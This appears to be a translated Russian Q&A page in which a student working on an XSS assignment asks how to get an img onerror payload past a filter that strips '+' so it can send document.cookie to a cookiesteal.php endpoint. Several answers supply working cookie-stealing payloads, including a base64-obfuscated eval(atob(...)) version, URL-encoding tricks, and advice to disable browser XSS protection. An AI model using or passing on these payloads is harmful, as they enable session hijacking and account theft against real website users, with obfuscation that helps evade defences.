Как добавить var в var.src без использования + - PullRequest
1 голос
/ 24 мая 2019

Я пытаюсь выполнить XSS-атаку для назначения, внедряя некоторый код, однако сервер настроен для удаления большинства тегов HTML, но я могу ввести с помощью тега img и onerror.При инъекции я не могу понять правильный синтаксис, так как он убирает мои «+» в моем строковом добавлении (пытаясь прикрепить cookie к источнику, который я использую).

<img src="img.gif" 
     onerror="var img = document.createElement('img'); img.src='http://localhost/cookiesteal.php?cookie='+ document.cookie;">

Когда япроверьте это после внедрения (в элементе inspect), он показывает сценарий, но символ плюса в конце отсутствует.Есть ли другой способ добавить этот файл cookie в img.src без использования +?

ОБНОВЛЕНИЕ:

Я получил плюс там, и теперь прослушиватель событий активирован.Но я попытался использовать onerror, onload, onmouseover, и ничего не активирует код, я не получаю куки администратора.

Ответы [ 4 ]

1 голос
/ 24 мая 2019

Использовать encodeURIComponent

<img src="img.gif" onerror="var img = document.createElement('img'); img.src=encodeURIComponent('http://localhost/cookiesteal.php?cookie='+ document.cookie);">
1 голос
/ 24 мая 2019

Попробуйте использовать% 2B вместо +

https://www.w3schools.com/tags/ref_urlencode.asp

0 голосов
/ 24 мая 2019

Должно работать нормально, если вы правильно закодировали введенный скрипт.

Единственная ошибка, которую вы можете получить, если включена защита XSS. Вы можете отключить его, отправив заголовок ответа

("X-XSS-Protection", 0)

Что ваша консоль сообщает об ошибке?

0 голосов
/ 24 мая 2019

Попробуйте это при ошибке

eval(atob('dmFyIGltZyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2ltZycpOwoJIGltZy5zcmM9J2h0dHA6Ly9sb2NhbGhvc3QvY29va2llc3RlYWwucGhwP2Nvb2tpZT0nKyBkb2N1bWVudC5jb29raWU7'))

что я сделал,

  1. Возьмите код в виде строки и преобразуйте в base64 btoa()
  2. evalможет выполнить строчку как код, но нам нужно сначала декодировать его, чтобы получить, следовательно, eval(atob('encoded code'));

кодированный код

`var img = document.createElement('img');
     img.src='http://localhost/cookiesteal.php?cookie='+ document.cookie;`

Таким образом, ваша цель должна выглядеть

<img src="img.gif" onerror="eval(atob('dmFyIGltZyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2ltZycpOwoJIGltZy5zcmM9J2h0dHA6Ly9sb2NhbGhvc3QvY29va2llc3RlYWwucGhwP2Nvb2tpZT0nKyBkb2N1bWVudC5jb29raWU7'))">
...